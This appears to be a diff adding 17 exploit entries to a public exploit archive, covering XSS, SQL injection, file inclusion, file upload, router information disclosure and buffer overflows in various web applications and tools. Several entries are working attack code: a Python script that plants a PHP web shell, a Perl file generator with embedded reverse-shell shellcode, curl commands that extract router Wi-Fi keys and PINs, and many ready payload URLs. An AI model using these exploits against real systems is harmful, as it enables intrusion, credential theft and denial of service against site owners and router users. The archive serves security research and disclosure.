Update: 2015-01-09

17 new exploits

platforms/asp/webapps/35728.txt

@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/47772/info
+
+Keyfax Customer Response Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
+
+Keyfax Customer Response Management 3.2.2.6 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/keyfax32/test/response.asp?co="style%3d"x:expression(alert(1))""%20";
+
+http://www.example.com/keyfax32/rs/main_rs.asp?C="style%3d"x:expression(alert(1))""%20"; 

platforms/hardware/webapps/35721.txt

@@ -0,0 +1,128 @@
+- Title:
+
+CVE-2015-0554 ADB BroadBand Pirelli ADSL2/2+ Wireless Router P.DGA4001N  remote information disclosure 
+HomeStation Movistar
+
+- Author:
+
+Eduardo Novella  @enovella_
+ednolo[@]inf.upv[dot]es
+
+- Version:
+
+Tested on firmware version PDG_TEF_SP_4.06L.6
+
+
+- Shodan dork : 
+  + "Dropbear 0.46 country:es"  ( From now on it looks like not working on this way)
+
+
+- Summary:
+
+HomeStation movistar has deployed routers manufactured by Pirelli. These routers are vulnerable to fetch HTML code from any 
+IP public over the world. Neither authentication nor any protection to avoid unauthorized extraction of sensitive information.
+
+
+- The vulnerability and the way to exploit it:
+
+
+$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_"
+                  <option value='0'>WLAN_DEAD</option>
+
+$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey"
+var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD';
+
+$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin"
+var WscDevPin    = '12820078';
+
+$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var sessionkey"
+var sessionKey='1189641421';
+
+$ curl -s http://${IP_ADDRESS}/wlcfg.html | grep -i "bssid:" -A 3
+                     <td width="50">BSSID:</td>
+                     <td>
+                        DC:0B:1A:XX:XX:XX
+                     </td>
+
+
+
+# Rebooting the router remotely and provoking a Denial of Service
+#-----------------------------------------------------------------
+http://${IP_ADDRESS}/resetrouter.html
+
+We can observe at the source:
+<!-- hide
+
+var sessionKey='846930886';
+function btnReset() {
+   var loc = 'rebootinfo.cgi?';
+
+   loc += 'sessionKey=' + sessionKey;
+
+   var code = 'location="' + loc + '"';
+   eval(code);
+}
+
+// done hiding -->
+
+
+http://${IP_ADDRESS}/rebootinfo.cgi?sessionKey=233665123
+
+
+# All the information what we can fetch from.
+#----------------------------------------------
+webs$ ls
+adslcfgadv.html       diagpppoe.html      ipv6lancfg.html    qoscls.html              statsatmreset.html
+adslcfgc.html         dlnacfg.html        js                 qosqmgmt.html            statsifc.html
+adslcfg.html          dnscfg.html         jsps               qosqueueadd.html         statsifcreset.html
+adslcfgtone.html      dnsproxycfg.html    lancfg2.html       qsmain.html              statsmocalanreset.html
+algcfg.html           dsladderr.html      languages          quicksetuperr.html       statsmocareset.html
+APIS                  dslbondingcfg.html  lockerror.html     quicksetup.html          statsmocawanreset.html
+atmdelerr.html        enblbridge.html     logconfig.html     quicksetuptesterr.html   statsvdsl.html
+backupsettings.html   enblservice.html    logintro.html      quicksetuptestsucc.html  statsvdslreset.html
+berrun.html           engdebug.html       logobkg.gif        rebootinfo.html          statswanreset.html
+berstart.html         ethadderr.html      logoc.gif          resetrouter.html         statsxtmreset.html
+berstop.html          ethdelerr.html      logo_corp.gif      restoreinfo.html         storageusraccadd.html
+certadd.html          footer.html         logo.html          routeadd.html            stylemain.css
+certcaimport.html     hlpadslsync.html    logomenu.gif       rtdefaultcfgerr.html     threeGPIN.html
+certimport.html       hlpatmetoe.html     main.html          rtdefaultcfg.html        todadd.html
+certloadsigned.html   hlpatmseg.html      menuBcm.js         scdmz.html               tr69cfg.html
+cfgatm.html           hlpethconn.html     menu.html          scinflt.html             updatesettings.html
+cfgeth.html           hlppngdns.html      menuTitle.js       scmacflt.html            upload.html
+cfgl2tpac.html        hlppnggw.html       menuTree.js        scmacpolicy.html         uploadinfo.html
+cfgmoca.html          hlppppoasess.html   mocacfg.html       scoutflt.html            upnpcfg.html
+cfgptm.html           hlppppoeauth.html   multicast.html     scprttrg.html            url_add.html
+colors.css            hlppppoeconn.html   natcfg2.html       scripts                  util.js
+config.json.txt       hlppppoeip.html     ntwksum2.html      scvrtsrv.html            wanadderr.html
+css                   hlptstdns.html      omcidownload.html  seclogintro.html         wancfg.html
+ddnsadd.html          hlpusbconn.html     omcisystem.html    snmpconfig.html          wlcfgadv.html
+defaultsettings.html  hlpwlconn.html      password.html      sntpcfg.html             wlcfg.html
+dhcpinfo.html         html                portmapadd.html    standby.html             wlcfgkey.html
+diag8021ag.html       ifcdns.html         portmapedit.html   StaticIpAdd.html         wlmacflt.html
+diagbr.html           ifcgateway.html     portName.js        StaticIpErr.html         wlrefresh.html
+diag.html             images              pppoe.html         statsadslerr.html        wlsecurity.html
+diagipow.html         index.html          pradd.html         statsadsl.html           wlsetup.html
+diaglan.html          info.html           ptmadderr.html     statsadslreset.html      wlwapias.html
+diagmer.html          ipoacfg.html        ptmdelerr.html     statsatmerr.html         xdslcfg.html
+diagpppoa.html        ippcfg.html         pwrmngt.html       statsatm.html
+
+
+
++ Conclusion:
+
+  This vulnerability can be exploited remotely and it should be patched as soon as possible. An attacker could be monitoring our network
+   or even worse being a member of a botnet without knowledge of it. 
+  First mitigation could be  either try to update the last version for these routers or install 3rd parties firmwares as OpenWRT or DDWRT on them.
+        
+
+
++ References:
+
+http://packetstormsecurity.com/files/115663/Alpha-Networks-ADSL2-2-Wireless-Router-ASL-26555-Password-Disclosure.html
+
+
+
++ Timeline:
+
+2013-04-xx Send email to Movistar and Pirelli
+2015-01-05 Full disclosure 

platforms/multiple/dos/35725.pl

@@ -0,0 +1,19 @@
+source: http://www.securityfocus.com/bid/47766/info
+
+Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.
+
+An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
+
+Perl versions 5.10.x are vulnerable. 
+
+jonathan () blackbox:~/test$ cat poc1.pl
+    #!/usr/bin/perl
+    $a =
+getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
+    jonathan () blackbox:~/test$ perl poc1.pl
+    Segmentation fault (core dumped)
+    jonathan () blackbox:~/test$
+

platforms/multiple/remote/35729.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/47780/info
+
+Imperva SecureSphere is prone to a security-bypass vulnerability.
+
+An attacker can leverage this vulnerability to bypass certain security restrictions. Successful exploits may allow attackers to exploit SQL-injection vulnerabilities. 
+
+15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' 

platforms/php/webapps/35713.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47751/info
+
+FestOS is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
+
+An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
+
+FestOS 2.3c is vulnerable; other versions may also be affected. 
+
+http://www.example.com/[path]/admin/includes/tiny_mce/plugins/tinybrowser/upload.php 

platforms/php/webapps/35715.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47755/info
+
+encoder is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+encoder 0.4.10 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/ecoder-0.4.10/edit.php?editor=&mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&path=%22%3E%3Cscript%3Ealert(0)%3C/script%3E&file=%22%3E%3Cscript%3Ealert(0)%3C/script%3E 

platforms/php/webapps/35716.html

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47756/info
+
+Ampache is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Ampache 3.5.4 is vulnerable; other versions may also be affected.
+
+<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html> 

platforms/php/webapps/35717.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47757/info
+
+Exponent CMS is prone to a local file-include vulnerability and an arbitrary-file-upload vulnerability.
+
+An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.
+
+Exponent CMS 2.0.0 beta 1.1 is vulnerable; other versions may also be affected.
+
+http://www.example.com/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action= 

platforms/php/webapps/35718.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47758/info
+
+Gelsheet is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Gelsheet 1.02 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/fengoffice/public/assets/javascript/gelSheet/index.php?id=%3Cscript%3Ealert%280%29%3C/script%3E&wid=%3Cscript%3Ealert%280%29%3C/script%3E&book=%3Cscript%3Ealert%280%29%3C/script%3E 

platforms/php/webapps/35719.py

@@ -0,0 +1,116 @@
+source: http://www.securityfocus.com/bid/47759/info
+
+phpWebSite is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
+
+phpWebSite 1.7.1 is vulnerable; other versions may also be affected. 
+
+# ------------------------------------------------------------------------
+# Software................phpWebSite 1.7.1
+# Vulnerability...........Arbitrary Upload
+# Threat Level............Very Critical (5/5)
+# Download................http://phpwebsite.appstate.edu/
+# Discovery Date..........5/5/2011
+# Tested On...............Windows Vista + XAMPP
+# ------------------------------------------------------------------------
+# Author..................AutoSec Tools
+# Site....................http://www.autosectools.com/
+# Email...................John Leitch <john@autosectools.com>
+# ------------------------------------------------------------------------
+# 
+# 
+# --Description--
+# 
+# An arbitrary upload vulnerability in phpWebSite 1.7.1 can be exploited
+# to upload a PHP shell.
+# 
+# 
+# --PoC--
+
+import socket
+
+host = 'localhost'
+path = '/phpwebsite_1_7_1'
+shell_path = path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/.shell'
+port = 80
+
+def upload_shell():
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host, port))
+    s.settimeout(8)    
+
+    s.send('POST ' + path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/upload.php?local=.htaccess HTTP/1.1\r\n'
+           'Host: localhost\r\n'
+           'Proxy-Connection: keep-alive\r\n'
+           'User-Agent: x\r\n'
+           'Content-Length: 223\r\n'
+           'Cache-Control: max-age=0\r\n'
+           'Origin: null\r\n'
+           'Content-Type: multipart/form-data; boundary=----x\r\n'
+           'Accept: text/html\r\n'
+           'Accept-Encoding: gzip,deflate,sdch\r\n'
+           'Accept-Language: en-US,en;q=0.8\r\n'
+           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
+           '\r\n'
+           '------x\r\n'
+           'Content-Disposition: form-data; name="NewFile"; filename=".htaccess"\r\n'     
+           'Content-Type: application/octet-stream\r\n'
+           '\r\n'
+           'AddType application/x-httpd-php .shell\r\n'
+           '\r\n'
+           'Action application/x-httpd-php "/php/php.exe"\r\n'
+           '------x--\r\n'
+           '\r\n')
+
+    resp = s.recv(8192)
+
+    http_ok = 'HTTP/1.1 200 OK'
+    
+    if http_ok not in resp[:len(http_ok)]:
+        print 'error uploading .htaccess'
+        return
+    else: print '.htaccess uploaded'
+ 
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host, port))
+    s.settimeout(8)    
+
+    s.send('POST ' + path + '/javascript/editors/fckeditor/editor/filemanager/upload/phpws/upload.php?local=.htaccess HTTP/1.1\r\n'
+           'Host: localhost\r\n'
+           'Proxy-Connection: keep-alive\r\n'
+           'User-Agent: x\r\n'
+           'Content-Length: 163\r\n'
+           'Cache-Control: max-age=0\r\n'
+           'Origin: null\r\n'
+           'Content-Type: multipart/form-data; boundary=----x\r\n'
+           'Accept: text/html\r\n'
+           'Accept-Encoding: gzip,deflate,sdch\r\n'
+           'Accept-Language: en-US,en;q=0.8\r\n'
+           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
+           '\r\n'
+           '------x\r\n'
+           'Content-Disposition: form-data; name="NewFile"; filename=".shell"\r\n'
+           'Content-Type: application/octet-stream\r\n'
+           '\r\n'
+           '<?php system($_GET["CMD"]); ?>\r\n'
+           '------x--\r\n'
+           '\r\n')
+
+    resp = s.recv(8192)
+
+    http_ok = 'HTTP/1.1 200 OK'
+    
+    if http_ok not in resp[:len(http_ok)]:
+        print 'error uploading shell'
+        return
+    else: print 'shell uploaded' 
+ 
+
+    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
+           'Host: ' + host + '\r\n\r\n')
+
+    
+    print 'shell located at http://' + host + shell_path
+
+upload_shell()

platforms/php/webapps/35720.txt

@@ -0,0 +1,29 @@
+# Exploit Title: SQL Injection in Microweber CMS 0.95
+# Google Dork: N/A
+# Date: 12/16/2014
+# Exploit Author: Pham Kien Cuong (cuong.k.pham@itas.vn) and ITAS Team (www.itas.vn)
+# Vendor Homepage: Microweber (https://microweber.com/)
+# Software Link: https://github.com/microweber/microweber
+# Version: 0.95
+# Tested on: N/A
+# CVE : CVE-2014-9464
+
+::PROOF OF CONCEPT::
+
+GET /shop/category:[SQL INJECTION HERE] HTTP/1.1
+Host: target.org
+User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://target/shop
+Cookie: mw-time546209978=2015-01-05+05%3A19%3A53; PHPSESSID=48500cad98b9fa857b9d82216afe0275
+Connection: keep-alive
+
+::REFERENCE::
+- http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in-microweber-cms-69.html
+- https://www.youtube.com/watch?v=SSE8Xj_-QaQ
+- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9464
+
+::DISCLAIMER::
+THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.

platforms/php/webapps/35722.txt

@@ -0,0 +1,72 @@
+Advisory: SQL-Injection in administrative Backend of Sefrengo CMS v.1.6.0
+Advisory ID: SROEADV-2015-04
+Author: Steffen Rösemann
+Affected Software: CMS Sefrengo v.1.6.0 (Release-Date: 18th-Feb-2014)
+Vendor URL: http://www.sefrengo.org/start/start.html
+Vendor Status: fixed
+CVE-ID: -
+
+==========================
+Vulnerability Description:
+==========================
+
+The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
+vulnerabilities in its administrative Backend.
+
+==================
+Technical Details:
+==================
+
+The administrative Backend of Sefrengo CMS contains a functionality to edit
+folders which reside on the CMS. Its located here:
+
+http://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0
+
+The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
+could abuse this to send crafted URLs to the administrator via mail to
+execute own SQL commands (e.g. create a second admin-account).
+
+Exploit-Example:
+
+http://
+{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0
+
+Another SQL-Injection vulnerability can be found in the administrative
+backend, where the admin can manage installed plugins. The vulnerable
+parameter is „idclient“ in the following URL:
+
+http://{TARGET}/backend/main.php?area=plug&idclient=1
+
+Exploit-Example:
+
+http://
+{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+
+
+=========
+Solution:
+=========
+
+Update to the latest version
+
+====================
+Disclosure Timeline:
+====================
+21-Dec-2014 –found the vulnerability
+21-Dec-2014 - informed the developers
+22-Dec-2014 - response by vendor
+04-Jan-2015 – fix by vendor
+04-Jan-2015 - release date of this security advisory
+04-Jan-2015 - post on BugTraq / FullDisclosure
+
+========
+Credits:
+========
+
+Vulnerability found and advisory written by Steffen Rösemann.
+
+===========
+References:
+===========
+
+http://www.sefrengo.org/start/start.html
+http://sroesemann.blogspot.de

platforms/php/webapps/35723.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47762/info
+
+TCExam is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.
+
+A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
+
+TCExam 11.1.029 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/tcexam/admin/code/tce_xml_user_results.php?lang=&user_id=1&startdate=[SQL]&enddate=[SQL]&order_field=[SQL] 

platforms/php/webapps/35724.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/47763/info
+
+EmbryoCore is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+EmbryoCore 1.03 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/[path]/index.php?page=[-!Blind SQLi Here!-] 

platforms/php/webapps/35726.py

@@ -0,0 +1,58 @@
+source: http://www.securityfocus.com/bid/47767/info
+
+GetSimple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
+
+GetSimple 3.0 is vulnerable; other versions may also be affected. 
+
+# ------------------------------------------------------------------------
+# Software................GetSimple 3.0
+# Vulnerability...........Local File Inclusion
+# Threat Level............Critical (4/5)
+# Download................http://get-simple.info/
+# Discovery Date..........5/4/2011
+# Tested On...............Windows Vista + XAMPP
+# ------------------------------------------------------------------------
+# Author..................AutoSec Tools
+# Site....................http://www.autosectools.com/
+# Email...................John Leitch <john@autosectools.com>
+# ------------------------------------------------------------------------
+# 
+# 
+# --Description--
+# 
+# A local file inclusion vulnerability in GetSimple 3.0 can be exploited
+# to include arbitrary files.
+# 
+# 
+# --PoC--
+
+import socket
+
+host = 'localhost'
+path = '/getsimple_3.0'
+trav_sequence = '..%2f' * 8 + 'windows%2fwin.ini'
+port = 80
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect((host, port))
+s.settimeout(8)
+
+s.send('POST ' + path + '/index.php?set=' + trav_sequence + ' HTTP/1.1\r\n'
+       'Host: localhost\r\n'
+       'Proxy-Connection: keep-alive\r\n'
+       'User-Agent: x\r\n'
+       'Content-Length: 0\r\n'
+       'Cache-Control: max-age=0\r\n'
+       'Origin: null\r\n'
+       'Content-Type: multipart/form-data; boundary=----x\r\n'
+       'Accept: text/html\r\n'
+       'Accept-Language: en-US,en;q=0.8\r\n'
+       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
+       '\r\n')
+
+resp = s.recv(8192)
+
+print resp
+

platforms/php/webapps/35727.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/47770/info
+
+HOMEPIMA Design is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.
+
+Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 
+
+http://www.example.com/setup/filedown.php?file=../../../../../../../../../../../../../../etc/passwd 

platforms/windows/remote/35714.pl

@@ -0,0 +1,77 @@
+source: http://www.securityfocus.com/bid/47753/info
+
+BlueVoda Website Builder is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.
+
+An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.
+
+BlueVoda Website Builder 11 is vulnerable; other versions may also be affected. 
+
+#!/usr/bin/perl
+system("cls");
+sub logo(){
+print q'
+0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
+1                      ______                                          0
+0                   .-"      "-.                                       1
+1                  / KedAns-Dz  \ =-=-=-=-=-=-=-=-=-=-=-|              0
+0 Algerian HaCker |              | > Site : 1337day.com |              1
+1 --------------- |,  .-.  .-.  ,| > Twitter : @kedans  |              0
+0                 | )(_o/  \o_)( | > ked-h@hotmail.com  |              1
+1                 |/     /\     \| =-=-=-=-=-=-=-=-=-=-=|              0
+0       (@_       (_     ^^     _)  HaCkerS-StreeT-Team                1
+1  _     ) \_______\__|IIIIII|__/_______________________               0
+0 (_)@8@8{}<________|-\IIIIII/-|________________________>              1
+1        )_/        \          /                                       0
+0       (@           `--------` . 2011, Inj3ct0r Team                  1
+1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0
+0     BlueVoda Website Builder v.11 (.bvp) Stack Buffer Overflow       1
+1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0
+';
+}
+# ---------
+# BlueVoda Website Builder v.11 (.bvp) Stack Buffer Overflow
+# Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com>
+# special thanks to : Inj3ct0r Team + Exploit-Id Team
+# Tested in Windows XP sp3 France
+# ---------
+logo();
+my $header = # BlueVoda Project (bvp) Header
+"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00".
+"\x00\x00\x00\x00\x00\x00\x00\x00\x3e\x00\x03\x00\xfe\xff\x09";
+my $jump = "\xeb\x02\x90\x90" ; # short jump - from BlueVoda.exe
+my $call = "\xff\x52\x7c"; # Call - from BlueVoda.exe
+my $junk = "\x41" x 321; # Buffer
+my $nops = "\x90" x 51; # Nopsled
+# windows/shell_reverse_tcp - 340 bytes (http://www.metasploit.com)
+# LHOST=127.0.0.1, LPORT=4444, Encoder: x86/call4_dword_xor
+my $shell = 
+"\x29\xc9\x83\xe9\xb1\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
+"\x0e\x4e\x5a\xfa\xc3\x83\xee\xfc\xe2\xf4\xb2\xb2\x73\xc3" .
+"\x4e\x5a\x9a\x4a\xab\x6b\x28\xa7\xc5\x08\xca\x48\x1c\x56" .
+"\x71\x91\x5a\xd1\x88\xeb\x41\xed\xb0\xe5\x7f\xa5\xcb\x03" .
+"\xe2\x66\x9b\xbf\x4c\x76\xda\x02\x81\x57\xfb\x04\xac\xaa" .
+"\xa8\x94\xc5\x08\xea\x48\x0c\x66\xfb\x13\xc5\x1a\x82\x46" .
+"\x8e\x2e\xb0\xc2\x9e\x0a\x71\x8b\x56\xd1\xa2\xe3\x4f\x89" .
+"\x19\xff\x07\xd1\xce\x48\x4f\x8c\xcb\x3c\x7f\x9a\x56\x02" .
+"\x81\x57\xfb\x04\x76\xba\x8f\x37\x4d\x27\x02\xf8\x33\x7e" .
+"\x8f\x21\x16\xd1\xa2\xe7\x4f\x89\x9c\x48\x42\x11\x71\x9b" .
+"\x52\x5b\x29\x48\x4a\xd1\xfb\x13\xc7\x1e\xde\xe7\x15\x01" .
+"\x9b\x9a\x14\x0b\x05\x23\x16\x05\xa0\x48\x5c\xb1\x7c\x9e" .
+"\x26\x69\xc8\xc3\x4e\x32\x8d\xb0\x7c\x05\xae\xab\x02\x2d" .
+"\xdc\xc4\xb1\x8f\x42\x53\x4f\x5a\xfa\xea\x8a\x0e\xaa\xab" .
+"\x67\xda\x91\xc3\xb1\x8f\xaa\x93\x1e\x0a\xba\x93\x0e\x0a" .
+"\x92\x29\x41\x85\x1a\x3c\x9b\xd3\x3d\xab\x31\x5a\xfa\xc2" .
+"\x26\x58\xfa\xd2\x12\xd3\x1c\xa9\x5e\x0c\xad\xab\xd7\xff" .
+"\x8e\xa2\xb1\x8f\x92\xa0\x23\x3e\xfa\x4a\xad\x0d\xad\x94" .
+"\x7f\xac\x90\xd1\x17\x0c\x18\x3e\x28\x9d\xbe\xe7\x72\x5b" .
+"\xfb\x4e\x0a\x7e\xea\x05\x4e\x1e\xae\x93\x18\x0c\xac\x85" .
+"\x18\x14\xac\x95\x1d\x0c\x92\xba\x82\x65\x7c\x3c\x9b\xd3" .
+"\x1a\x8d\x18\x1c\x05\xf3\x26\x52\x7d\xde\x2e\xa5\x2f\x78" .
+"\xbe\xef\x58\x95\x26\xfc\x6f\x7e\xd3\xa5\x2f\xff\x48\x26" .
+"\xf0\x43\xb5\xba\x8f\xc6\xf5\x1d\xe9\xb1\x21\x30\xfa\x90" .
+"\xb1\x8f\xfa\xc3";
+my $exploit = $header.$jump.$junk.$call.$shell.$nops; 
+open(myfile,'>>KedAns.bvp');
+print myfile $exploit;
+close (myfile);
+